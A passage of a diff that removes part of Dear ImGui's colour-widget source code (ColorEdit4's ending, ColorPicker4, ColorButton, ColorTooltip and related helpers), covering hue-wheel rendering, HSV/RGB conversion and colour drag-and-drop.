4; n++) - f[n] = i[n] / 255.0f; - if ((flags & ImGuiColorEditFlags_DisplayHSV) && (flags & ImGuiColorEditFlags_InputRGB)) - { - g.ColorEditLastHue = f[0]; - g.ColorEditLastSat = f[1]; - ColorConvertHSVtoRGB(f[0], f[1], f[2], f[0], f[1], f[2]); - memcpy(g.ColorEditLastColor, f, sizeof(float) * 3); - } - if ((flags & ImGuiColorEditFlags_DisplayRGB) && (flags & ImGuiColorEditFlags_InputHSV)) - ColorConvertRGBtoHSV(f[0], f[1], f[2], f[0], f[1], f[2]); - - col[0] = f[0]; - col[1] = f[1]; - col[2] = f[2]; - if (alpha) - col[3] = f[3]; - } - - PopID(); - EndGroup(); - - // Drag and Drop Target - // NB: The flag test is merely an optional micro-optimization, BeginDragDropTarget() does the same test. - if ((window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect) && !(flags & ImGuiColorEditFlags_NoDragDrop) && BeginDragDropTarget()) - { - bool accepted_drag_drop = false; - if (const ImGuiPayload* payload = AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F)) - { - memcpy((float*)col, payload->Data, sizeof(float) * 3); // Preserve alpha if any //-V512 - value_changed = accepted_drag_drop = true; - } - if (const ImGuiPayload* payload = AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F)) - { - memcpy((float*)col, payload->Data, sizeof(float) * components); - value_changed = accepted_drag_drop = true; - } - - // Drag-drop payloads are always RGB - if (accepted_drag_drop && (flags & ImGuiColorEditFlags_InputHSV)) - ColorConvertRGBtoHSV(col[0], col[1], col[2], col[0], col[1], col[2]); - EndDragDropTarget(); - } - - // When picker is being actively used, use its active id so IsItemActive() will function on ColorEdit4(). - if (picker_active_window && g.ActiveId != 0 && g.ActiveIdWindow == picker_active_window) - window->DC.LastItemId = g.ActiveId; - - if (value_changed) - MarkItemEdited(window->DC.LastItemId); - - return value_changed; -} - -bool ImGui::ColorPicker3(const char* label, float col[3], ImGuiColorEditFlags flags) -{ - float col4[4] = { col[0], col[1], col[2], 1.0f }; - if (!ColorPicker4(label, col4, flags | ImGuiColorEditFlags_NoAlpha)) - return false; - col[0] = col4[0]; col[1] = col4[1]; col[2] = col4[2]; - return true; -} - -// Helper for ColorPicker4() -static void RenderArrowsForVerticalBar(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, float bar_w, float alpha) -{ - ImU32 alpha8 = IM_F32_TO_INT8_SAT(alpha); - ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + half_sz.x + 1, pos.y), ImVec2(half_sz.x + 2, half_sz.y + 1), ImGuiDir_Right, IM_COL32(0,0,0,alpha8)); - ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + half_sz.x, pos.y), half_sz, ImGuiDir_Right, IM_COL32(255,255,255,alpha8)); - ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + bar_w - half_sz.x - 1, pos.y), ImVec2(half_sz.x + 2, half_sz.y + 1), ImGuiDir_Left, IM_COL32(0,0,0,alpha8)); - ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + bar_w - half_sz.x, pos.y), half_sz, ImGuiDir_Left, IM_COL32(255,255,255,alpha8)); -} - -// Note: ColorPicker4() only accesses 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. -// (In C++ the 'float col[4]' notation for a function argument is equivalent to 'float* col', we only specify a size to facilitate understanding of the code.) -// FIXME: we adjust the big color square height based on item width, which may cause a flickering feedback loop (if automatic height makes a vertical scrollbar appears, affecting automatic width..) -// FIXME: this is trying to be aware of style.Alpha but not fully correct. Also, the color wheel will have overlapping glitches with (style.Alpha < 1.0) -bool ImGui::ColorPicker4(const char* label, float col[4], ImGuiColorEditFlags flags, const float* ref_col) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImDrawList* draw_list = window->DrawList; - ImGuiStyle& style = g.Style; - ImGuiIO& io = g.IO; - - const float width = CalcItemWidth(); - g.NextItemData.ClearFlags(); - - PushID(label); - BeginGroup(); - - if (!(flags & ImGuiColorEditFlags_NoSidePreview)) - flags |= ImGuiColorEditFlags_NoSmallPreview; - - // Context menu: display and store options. - if (!(flags & ImGuiColorEditFlags_NoOptions)) - ColorPickerOptionsPopup(col, flags); - - // Read stored options - if (!(flags & ImGuiColorEditFlags__PickerMask)) - flags |= ((g.ColorEditOptions & ImGuiColorEditFlags__PickerMask) ? g.ColorEditOptions : ImGuiColorEditFlags__OptionsDefault) & ImGuiColorEditFlags__PickerMask; - if (!(flags & ImGuiColorEditFlags__InputMask)) - flags |= ((g.ColorEditOptions & ImGuiColorEditFlags__InputMask) ? g.ColorEditOptions : ImGuiColorEditFlags__OptionsDefault) & ImGuiColorEditFlags__InputMask; - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__PickerMask)); // Check that only 1 is selected - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check that only 1 is selected - if (!(flags & ImGuiColorEditFlags_NoOptions)) - flags |= (g.ColorEditOptions & ImGuiColorEditFlags_AlphaBar); - - // Setup - int components = (flags & ImGuiColorEditFlags_NoAlpha) ? 3 : 4; - bool alpha_bar = (flags & ImGuiColorEditFlags_AlphaBar) && !(flags & ImGuiColorEditFlags_NoAlpha); - ImVec2 picker_pos = window->DC.CursorPos; - float square_sz = GetFrameHeight(); - float bars_width = square_sz; // Arbitrary smallish width of Hue/Alpha picking bars - float sv_picker_size = ImMax(bars_width * 1, width - (alpha_bar ? 2 : 1) * (bars_width + style.ItemInnerSpacing.x)); // Saturation/Value picking box - float bar0_pos_x = picker_pos.x + sv_picker_size + style.ItemInnerSpacing.x; - float bar1_pos_x = bar0_pos_x + bars_width + style.ItemInnerSpacing.x; - float bars_triangles_half_sz = IM_FLOOR(bars_width * 0.20f); - - float backup_initial_col[4]; - memcpy(backup_initial_col, col, components * sizeof(float)); - - float wheel_thickness = sv_picker_size * 0.08f; - float wheel_r_outer = sv_picker_size * 0.50f; - float wheel_r_inner = wheel_r_outer - wheel_thickness; - ImVec2 wheel_center(picker_pos.x + (sv_picker_size + bars_width)*0.5f, picker_pos.y + sv_picker_size * 0.5f); - - // Note: the triangle is displayed rotated with triangle_pa pointing to Hue, but most coordinates stays unrotated for logic. - float triangle_r = wheel_r_inner - (int)(sv_picker_size * 0.027f); - ImVec2 triangle_pa = ImVec2(triangle_r, 0.0f); // Hue point. - ImVec2 triangle_pb = ImVec2(triangle_r * -0.5f, triangle_r * -0.866025f); // Black point. - ImVec2 triangle_pc = ImVec2(triangle_r * -0.5f, triangle_r * +0.866025f); // White point. - - float H = col[0], S = col[1], V = col[2]; - float R = col[0], G = col[1], B = col[2]; - if (flags & ImGuiColorEditFlags_InputRGB) - { - // Hue is lost when converting from greyscale rgb (saturation=0). Restore it. - ColorConvertRGBtoHSV(R, G, B, H, S, V); - if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) - { - if (S == 0) - H = g.ColorEditLastHue; - if (V == 0) - S = g.ColorEditLastSat; - } - } - else if (flags & ImGuiColorEditFlags_InputHSV) - { - ColorConvertHSVtoRGB(H, S, V, R, G, B); - } - - bool value_changed = false, value_changed_h = false, value_changed_sv = false; - - PushItemFlag(ImGuiItemFlags_NoNav, true); - if (flags & ImGuiColorEditFlags_PickerHueWheel) - { - // Hue wheel + SV triangle logic - InvisibleButton("hsv", ImVec2(sv_picker_size + style.ItemInnerSpacing.x + bars_width, sv_picker_size)); - if (IsItemActive()) - { - ImVec2 initial_off = g.IO.MouseClickedPos[0] - wheel_center; - ImVec2 current_off = g.IO.MousePos - wheel_center; - float initial_dist2 = ImLengthSqr(initial_off); - if (initial_dist2 >= (wheel_r_inner - 1) * (wheel_r_inner - 1) && initial_dist2 <= (wheel_r_outer + 1) * (wheel_r_outer + 1)) - { - // Interactive with Hue wheel - H = ImAtan2(current_off.y, current_off.x) / IM_PI * 0.5f; - if (H < 0.0f) - H += 1.0f; - value_changed = value_changed_h = true; - } - float cos_hue_angle = ImCos(-H * 2.0f * IM_PI); - float sin_hue_angle = ImSin(-H * 2.0f * IM_PI); - if (ImTriangleContainsPoint(triangle_pa, triangle_pb, triangle_pc, ImRotate(initial_off, cos_hue_angle, sin_hue_angle))) - { - // Interacting with SV triangle - ImVec2 current_off_unrotated = ImRotate(current_off, cos_hue_angle, sin_hue_angle); - if (!ImTriangleContainsPoint(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated)) - current_off_unrotated = ImTriangleClosestPoint(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated); - float uu, vv, ww; - ImTriangleBarycentricCoords(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated, uu, vv, ww); - V = ImClamp(1.0f - vv, 0.0001f, 1.0f); - S = ImClamp(uu / V, 0.0001f, 1.0f); - value_changed = value_changed_sv = true; - } - } - if (!(flags & ImGuiColorEditFlags_NoOptions)) - OpenPopupOnItemClick("context"); - } - else if (flags & ImGuiColorEditFlags_PickerHueBar) - { - // SV rectangle logic - InvisibleButton("sv", ImVec2(sv_picker_size, sv_picker_size)); - if (IsItemActive()) - { - S = ImSaturate((io.MousePos.x - picker_pos.x) / (sv_picker_size - 1)); - V = 1.0f - ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); - value_changed = value_changed_sv = true; - } - if (!(flags & ImGuiColorEditFlags_NoOptions)) - OpenPopupOnItemClick("context"); - - // Hue bar logic - SetCursorScreenPos(ImVec2(bar0_pos_x, picker_pos.y)); - InvisibleButton("hue", ImVec2(bars_width, sv_picker_size)); - if (IsItemActive()) - { - H = ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); - value_changed = value_changed_h = true; - } - } - - // Alpha bar logic - if (alpha_bar) - { - SetCursorScreenPos(ImVec2(bar1_pos_x, picker_pos.y)); - InvisibleButton("alpha", ImVec2(bars_width, sv_picker_size)); - if (IsItemActive()) - { - col[3] = 1.0f - ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); - value_changed = true; - } - } - PopItemFlag(); // ImGuiItemFlags_NoNav - - if (!(flags & ImGuiColorEditFlags_NoSidePreview)) - { - SameLine(0, style.ItemInnerSpacing.x); - BeginGroup(); - } - - if (!(flags & ImGuiColorEditFlags_NoLabel)) - { - const char* label_display_end = FindRenderedTextEnd(label); - if (label != label_display_end) - { - if ((flags & ImGuiColorEditFlags_NoSidePreview)) - SameLine(0, style.ItemInnerSpacing.x); - TextEx(label, label_display_end); - } - } - - if (!(flags & ImGuiColorEditFlags_NoSidePreview)) - { - PushItemFlag(ImGuiItemFlags_NoNavDefaultFocus, true); - ImVec4 col_v4(col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); - if ((flags & ImGuiColorEditFlags_NoLabel)) - Text("Current"); - - ImGuiColorEditFlags sub_flags_to_forward = ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf | ImGuiColorEditFlags_NoTooltip; - ColorButton("##current", col_v4, (flags & sub_flags_to_forward), ImVec2(square_sz * 3, square_sz * 2)); - if (ref_col != NULL) - { - Text("Original"); - ImVec4 ref_col_v4(ref_col[0], ref_col[1], ref_col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : ref_col[3]); - if (ColorButton("##original", ref_col_v4, (flags & sub_flags_to_forward), ImVec2(square_sz * 3, square_sz * 2))) - { - memcpy(col, ref_col, components * sizeof(float)); - value_changed = true; - } - } - PopItemFlag(); - EndGroup(); - } - - // Convert back color to RGB - if (value_changed_h || value_changed_sv) - { - if (flags & ImGuiColorEditFlags_InputRGB) - { - ColorConvertHSVtoRGB(H >= 1.0f ? H - 10 * 1e-6f : H, S > 0.0f ? S : 10 * 1e-6f, V > 0.0f ? V : 1e-6f, col[0], col[1], col[2]); - g.ColorEditLastHue = H; - g.ColorEditLastSat = S; - memcpy(g.ColorEditLastColor, col, sizeof(float) * 3); - } - else if (flags & ImGuiColorEditFlags_InputHSV) - { - col[0] = H; - col[1] = S; - col[2] = V; - } - } - - // R,G,B and H,S,V slider color editor - bool value_changed_fix_hue_wrap = false; - if ((flags & ImGuiColorEditFlags_NoInputs) == 0) - { - PushItemWidth((alpha_bar ? bar1_pos_x : bar0_pos_x) + bars_width - picker_pos.x); - ImGuiColorEditFlags sub_flags_to_forward = ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoOptions | ImGuiColorEditFlags_NoSmallPreview | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf; - ImGuiColorEditFlags sub_flags = (flags & sub_flags_to_forward) | ImGuiColorEditFlags_NoPicker; - if (flags & ImGuiColorEditFlags_DisplayRGB || (flags & ImGuiColorEditFlags__DisplayMask) == 0) - if (ColorEdit4("##rgb", col, sub_flags | ImGuiColorEditFlags_DisplayRGB)) - { - // FIXME: Hackily differentiating using the DragInt (ActiveId != 0 && !ActiveIdAllowOverlap) vs. using the InputText or DropTarget. - // For the later we don't want to run the hue-wrap canceling code. If you are well versed in HSV picker please provide your input! (See #2050) - value_changed_fix_hue_wrap = (g.ActiveId != 0 && !g.ActiveIdAllowOverlap); - value_changed = true; - } - if (flags & ImGuiColorEditFlags_DisplayHSV || (flags & ImGuiColorEditFlags__DisplayMask) == 0) - value_changed |= ColorEdit4("##hsv", col, sub_flags | ImGuiColorEditFlags_DisplayHSV); - if (flags & ImGuiColorEditFlags_DisplayHex || (flags & ImGuiColorEditFlags__DisplayMask) == 0) - value_changed |= ColorEdit4("##hex", col, sub_flags | ImGuiColorEditFlags_DisplayHex); - PopItemWidth(); - } - - // Try to cancel hue wrap (after ColorEdit4 call), if any - if (value_changed_fix_hue_wrap && (flags & ImGuiColorEditFlags_InputRGB)) - { - float new_H, new_S, new_V; - ColorConvertRGBtoHSV(col[0], col[1], col[2], new_H, new_S, new_V); - if (new_H <= 0 && H > 0) - { - if (new_V <= 0 && V != new_V) - ColorConvertHSVtoRGB(H, S, new_V <= 0 ? V * 0.5f : new_V, col[0], col[1], col[2]); - else if (new_S <= 0) - ColorConvertHSVtoRGB(H, new_S <= 0 ? S * 0.5f : new_S, new_V, col[0], col[1], col[2]); - } - } - - if (value_changed) - { - if (flags & ImGuiColorEditFlags_InputRGB) - { - R = col[0]; - G = col[1]; - B = col[2]; - ColorConvertRGBtoHSV(R, G, B, H, S, V); - if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) // Fix local Hue as display below will use it immediately. - { - if (S == 0) - H = g.ColorEditLastHue; - if (V == 0) - S = g.ColorEditLastSat; - } - } - else if (flags & ImGuiColorEditFlags_InputHSV) - { - H = col[0]; - S = col[1]; - V = col[2]; - ColorConvertHSVtoRGB(H, S, V, R, G, B); - } - } - - const int style_alpha8 = IM_F32_TO_INT8_SAT(style.Alpha); - const ImU32 col_black = IM_COL32(0,0,0,style_alpha8); - const ImU32 col_white = IM_COL32(255,255,255,style_alpha8); - const ImU32 col_midgrey = IM_COL32(128,128,128,style_alpha8); - const ImU32 col_hues[6 + 1] = { IM_COL32(255,0,0,style_alpha8), IM_COL32(255,255,0,style_alpha8), IM_COL32(0,255,0,style_alpha8), IM_COL32(0,255,255,style_alpha8), IM_COL32(0,0,255,style_alpha8), IM_COL32(255,0,255,style_alpha8), IM_COL32(255,0,0,style_alpha8) }; - - ImVec4 hue_color_f(1, 1, 1, style.Alpha); ColorConvertHSVtoRGB(H, 1, 1, hue_color_f.x, hue_color_f.y, hue_color_f.z); - ImU32 hue_color32 = ColorConvertFloat4ToU32(hue_color_f); - ImU32 user_col32_striped_of_alpha = ColorConvertFloat4ToU32(ImVec4(R, G, B, style.Alpha)); // Important: this is still including the main rendering/style alpha!! - - ImVec2 sv_cursor_pos; - - if (flags & ImGuiColorEditFlags_PickerHueWheel) - { - // Render Hue Wheel - const float aeps = 0.5f / wheel_r_outer; // Half a pixel arc length in radians (2pi cancels out). - const int segment_per_arc = ImMax(4, (int)wheel_r_outer / 12); - for (int n = 0; n < 6; n++) - { - const float a0 = (n) /6.0f * 2.0f * IM_PI - aeps; - const float a1 = (n+1.0f)/6.0f * 2.0f * IM_PI + aeps; - const int vert_start_idx = draw_list->VtxBuffer.Size; - draw_list->PathArcTo(wheel_center, (wheel_r_inner + wheel_r_outer)*0.5f, a0, a1, segment_per_arc); - draw_list->PathStroke(col_white, 0, wheel_thickness); - const int vert_end_idx = draw_list->VtxBuffer.Size; - - // Paint colors over existing vertices - ImVec2 gradient_p0(wheel_center.x + ImCos(a0) * wheel_r_inner, wheel_center.y + ImSin(a0) * wheel_r_inner); - ImVec2 gradient_p1(wheel_center.x + ImCos(a1) * wheel_r_inner, wheel_center.y + ImSin(a1) * wheel_r_inner); - ShadeVertsLinearColorGradientKeepAlpha(draw_list, vert_start_idx, vert_end_idx, gradient_p0, gradient_p1, col_hues[n], col_hues[n + 1]); - } - - // Render Cursor + preview on Hue Wheel - float cos_hue_angle = ImCos(H * 2.0f * IM_PI); - float sin_hue_angle = ImSin(H * 2.0f * IM_PI); - ImVec2 hue_cursor_pos(wheel_center.x + cos_hue_angle * (wheel_r_inner + wheel_r_outer) * 0.5f, wheel_center.y + sin_hue_angle * (wheel_r_inner + wheel_r_outer) * 0.5f); - float hue_cursor_rad = value_changed_h ? wheel_thickness * 0.65f : wheel_thickness * 0.55f; - int hue_cursor_segments = ImClamp((int)(hue_cursor_rad / 1.4f), 9, 32); - draw_list->AddCircleFilled(hue_cursor_pos, hue_cursor_rad, hue_color32, hue_cursor_segments); - draw_list->AddCircle(hue_cursor_pos, hue_cursor_rad + 1, col_midgrey, hue_cursor_segments); - draw_list->AddCircle(hue_cursor_pos, hue_cursor_rad, col_white, hue_cursor_segments); - - // Render SV triangle (rotated according to hue) - ImVec2 tra = wheel_center + ImRotate(triangle_pa, cos_hue_angle, sin_hue_angle); - ImVec2 trb = wheel_center + ImRotate(triangle_pb, cos_hue_angle, sin_hue_angle); - ImVec2 trc = wheel_center + ImRotate(triangle_pc, cos_hue_angle, sin_hue_angle); - ImVec2 uv_white = GetFontTexUvWhitePixel(); - draw_list->PrimReserve(6, 6); - draw_list->PrimVtx(tra, uv_white, hue_color32); - draw_list->PrimVtx(trb, uv_white, hue_color32); - draw_list->PrimVtx(trc, uv_white, col_white); - draw_list->PrimVtx(tra, uv_white, 0); - draw_list->PrimVtx(trb, uv_white, col_black); - draw_list->PrimVtx(trc, uv_white, 0); - draw_list->AddTriangle(tra, trb, trc, col_midgrey, 1.5f); - sv_cursor_pos = ImLerp(ImLerp(trc, tra, ImSaturate(S)), trb, ImSaturate(1 - V)); - } - else if (flags & ImGuiColorEditFlags_PickerHueBar) - { - // Render SV Square - draw_list->AddRectFilledMultiColor(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), col_white, hue_color32, hue_color32, col_white); - draw_list->AddRectFilledMultiColor(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), 0, 0, col_black, col_black); - RenderFrameBorder(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), 0.0f); - sv_cursor_pos.x = ImClamp(IM_ROUND(picker_pos.x + ImSaturate(S) * sv_picker_size), picker_pos.x + 2, picker_pos.x + sv_picker_size - 2); // Sneakily prevent the circle to stick out too much - sv_cursor_pos.y = ImClamp(IM_ROUND(picker_pos.y + ImSaturate(1 - V) * sv_picker_size), picker_pos.y + 2, picker_pos.y + sv_picker_size - 2); - - // Render Hue Bar - for (int i = 0; i < 6; ++i) - draw_list->AddRectFilledMultiColor(ImVec2(bar0_pos_x, picker_pos.y + i * (sv_picker_size / 6)), ImVec2(bar0_pos_x + bars_width, picker_pos.y + (i + 1) * (sv_picker_size / 6)), col_hues[i], col_hues[i], col_hues[i + 1], col_hues[i + 1]); - float bar0_line_y = IM_ROUND(picker_pos.y + H * sv_picker_size); - RenderFrameBorder(ImVec2(bar0_pos_x, picker_pos.y), ImVec2(bar0_pos_x + bars_width, picker_pos.y + sv_picker_size), 0.0f); - RenderArrowsForVerticalBar(draw_list, ImVec2(bar0_pos_x - 1, bar0_line_y), ImVec2(bars_triangles_half_sz + 1, bars_triangles_half_sz), bars_width + 2.0f, style.Alpha); - } - - // Render cursor/preview circle (clamp S/V within 0..1 range because floating points colors may lead HSV values to be out of range) - float sv_cursor_rad = value_changed_sv ? 10.0f : 6.0f; - draw_list->AddCircleFilled(sv_cursor_pos, sv_cursor_rad, user_col32_striped_of_alpha, 12); - draw_list->AddCircle(sv_cursor_pos, sv_cursor_rad + 1, col_midgrey, 12); - draw_list->AddCircle(sv_cursor_pos, sv_cursor_rad, col_white, 12); - - // Render alpha bar - if (alpha_bar) - { - float alpha = ImSaturate(col[3]); - ImRect bar1_bb(bar1_pos_x, picker_pos.y, bar1_pos_x + bars_width, picker_pos.y + sv_picker_size); - RenderColorRectWithAlphaCheckerboard(draw_list, bar1_bb.Min, bar1_bb.Max, 0, bar1_bb.GetWidth() / 2.0f, ImVec2(0.0f, 0.0f)); - draw_list->AddRectFilledMultiColor(bar1_bb.Min, bar1_bb.Max, user_col32_striped_of_alpha, user_col32_striped_of_alpha, user_col32_striped_of_alpha & ~IM_COL32_A_MASK, user_col32_striped_of_alpha & ~IM_COL32_A_MASK); - float bar1_line_y = IM_ROUND(picker_pos.y + (1.0f - alpha) * sv_picker_size); - RenderFrameBorder(bar1_bb.Min, bar1_bb.Max, 0.0f); - RenderArrowsForVerticalBar(draw_list, ImVec2(bar1_pos_x - 1, bar1_line_y), ImVec2(bars_triangles_half_sz + 1, bars_triangles_half_sz), bars_width + 2.0f, style.Alpha); - } - - EndGroup(); - - if (value_changed && memcmp(backup_initial_col, col, components * sizeof(float)) == 0) - value_changed = false; - if (value_changed) - MarkItemEdited(window->DC.LastItemId); - - PopID(); - - return value_changed; -} - -// A little color square. Return true when clicked. -// FIXME: May want to display/ignore the alpha component in the color display? Yet show it in the tooltip. -// 'desc_id' is not called 'label' because we don't display it next to the button, but only in the tooltip. -// Note that 'col' may be encoded in HSV if ImGuiColorEditFlags_InputHSV is set. -bool ImGui::ColorButton(const char* desc_id, const ImVec4& col, ImGuiColorEditFlags flags, ImVec2 size) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiID id = window->GetID(desc_id); - float default_size = GetFrameHeight(); - if (size.x == 0.0f) - size.x = default_size; - if (size.y == 0.0f) - size.y = default_size; - const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); - ItemSize(bb, (size.y >= default_size) ? g.Style.FramePadding.y : 0.0f); - if (!ItemAdd(bb, id)) - return false; - - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held); - - if (flags & ImGuiColorEditFlags_NoAlpha) - flags &= ~(ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf); - - ImVec4 col_rgb = col; - if (flags & ImGuiColorEditFlags_InputHSV) - ColorConvertHSVtoRGB(col_rgb.x, col_rgb.y, col_rgb.z, col_rgb.x, col_rgb.y, col_rgb.z); - - ImVec4 col_rgb_without_alpha(col_rgb.x, col_rgb.y, col_rgb.z, 1.0f); - float grid_step = ImMin(size.x, size.y) / 2.99f; - float rounding = ImMin(g.Style.FrameRounding, grid_step * 0.5f); - ImRect bb_inner = bb; - float off = 0.0f; - if ((flags & ImGuiColorEditFlags_NoBorder) == 0) - { - off = -0.75f; // The border (using Col_FrameBg) tends to look off when color is near-opaque and rounding is enabled. This offset seemed like a good middle ground to reduce those artifacts. - bb_inner.Expand(off); - } - if ((flags & ImGuiColorEditFlags_AlphaPreviewHalf) && col_rgb.w < 1.0f) - { - float mid_x = IM_ROUND((bb_inner.Min.x + bb_inner.Max.x) * 0.5f); - RenderColorRectWithAlphaCheckerboard(window->DrawList, ImVec2(bb_inner.Min.x + grid_step, bb_inner.Min.y), bb_inner.Max, GetColorU32(col_rgb), grid_step, ImVec2(-grid_step + off, off), rounding, ImDrawCornerFlags_TopRight | ImDrawCornerFlags_BotRight); - window->DrawList->AddRectFilled(bb_inner.Min, ImVec2(mid_x, bb_inner.Max.y), GetColorU32(col_rgb_without_alpha), rounding, ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotLeft); - } - else - { - // Because GetColorU32() multiplies by the global style Alpha and we don't want to display a checkerboard if the source code had no alpha - ImVec4 col_source = (flags & ImGuiColorEditFlags_AlphaPreview) ? col_rgb : col_rgb_without_alpha; - if (col_source.w < 1.0f) - RenderColorRectWithAlphaCheckerboard(window->DrawList, bb_inner.Min, bb_inner.Max, GetColorU32(col_source), grid_step, ImVec2(off, off), rounding); - else - window->DrawList->AddRectFilled(bb_inner.Min, bb_inner.Max, GetColorU32(col_source), rounding, ImDrawCornerFlags_All); - } - RenderNavHighlight(bb, id); - if ((flags & ImGuiColorEditFlags_NoBorder) == 0) - { - if (g.Style.FrameBorderSize > 0.0f) - RenderFrameBorder(bb.Min, bb.Max, rounding); - else - window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(ImGuiCol_FrameBg), rounding); // Color button are often in need of some sort of border - } - - // Drag and Drop Source - // NB: The ActiveId test is merely an optional micro-optimization, BeginDragDropSource() does the same test. - if (g.ActiveId == id && !(flags & ImGuiColorEditFlags_NoDragDrop) && BeginDragDropSource()) - { - if (flags & ImGuiColorEditFlags_NoAlpha) - SetDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F, &col_rgb, sizeof(float) * 3, ImGuiCond_Once); - else - SetDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F, &col_rgb, sizeof(float) * 4, ImGuiCond_Once); - ColorButton(desc_id, col, flags); - SameLine(); - TextEx("Color"); - EndDragDropSource(); - } - - // Tooltip - if (!(flags & ImGuiColorEditFlags_NoTooltip) && hovered) - ColorTooltip(desc_id, &col.x, flags & (ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf)); - - return pressed; -} - -// Initialize/override default color options -void ImGui::SetColorEditOptions(ImGuiColorEditFlags flags) -{ - ImGuiContext& g = *GImGui; - if ((flags & ImGuiColorEditFlags__DisplayMask) == 0) - flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__DisplayMask; - if ((flags & ImGuiColorEditFlags__DataTypeMask) == 0) - flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__DataTypeMask; - if ((flags & ImGuiColorEditFlags__PickerMask) == 0) - flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__PickerMask; - if ((flags & ImGuiColorEditFlags__InputMask) == 0) - flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__InputMask; - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DisplayMask)); // Check only 1 option is selected - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DataTypeMask)); // Check only 1 option is selected - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__PickerMask)); // Check only 1 option is selected - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check only 1 option is selected - g.ColorEditOptions = flags; -} - -// Note: only access 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. -void ImGui::ColorTooltip(const char* text, const float* col, ImGuiColorEditFlags flags) -{ - ImGuiContext& g = *GImGui; - - BeginTooltipEx(0, ImGuiTooltipFlags_OverridePreviousTooltip); - const char* text_end = text ? FindRenderedTextEnd(text, NULL) : text; - if (text_end > text) - { - TextEx(text, text_end); - Separator(); - } - - ImVec2 sz(g.FontSize * 3 + g.Style.FramePadding.y * 2, g.FontSize * 3 + g.Style.FramePadding.y * 2); - ImVec4 cf(col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); - int cr = IM_F32_TO_INT8_SAT(col[0]), cg = IM_F32_TO_INT8_SAT(col[1]), cb = IM_F32_TO_INT8_SAT(col[2]), ca = (flags & ImGuiColorEditFlags_NoAlpha) ? 255 : IM_F32_TO_INT8_SAT(col[3]); - ColorButton("##preview", cf, (flags & (ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf)) | ImGuiColorEditFlags_NoTooltip, sz); - SameLine(); - if ((flags & ImGuiColorEditFlags_InputRGB) || !(flags & ImGuiColorEditFlags__InputMask)) - { - if (flags & ImGuiColorEditFlags_NoAlpha) - Text("#%02X%02X%02X\nR: %d, G: %d, B: %d\n(%.3f, %.3f, %.3f)", cr, cg, cb, cr, cg, cb, col[0], col[1], col[2]); - else - Text("#%02X%02X%02X%02X\nR:%d, G:%d, B:%d, A:%d\n(%.3f, %.3f, %.3f, %.3f)", cr, cg, cb, ca, cr, cg, cb, ca, col[0], col[1], col[2], col[3]); - } - else if (flags & ImGuiColorEditFlags_InputHSV) - { - if (flags & ImGuiColorEditFlags_NoAlpha) - Text("H: %.3f, S: %.3f, V: %.3f", col[0], col[1], col[2]); - else - Text("H: %.3f, S: %.3f, V: %.3f, A: %.3f", col[0], col[1], col[2], col[3]); - } - EndTooltip(); -} - -void ImGui::ColorEditOptionsPopup(const float* col, ImGuiColorEditFlags flags) -{ - bool allow_opt_inputs = !(flags & ImGuiColorEditFlags__DisplayMask); - bool allow_opt_datatype = !(flags & 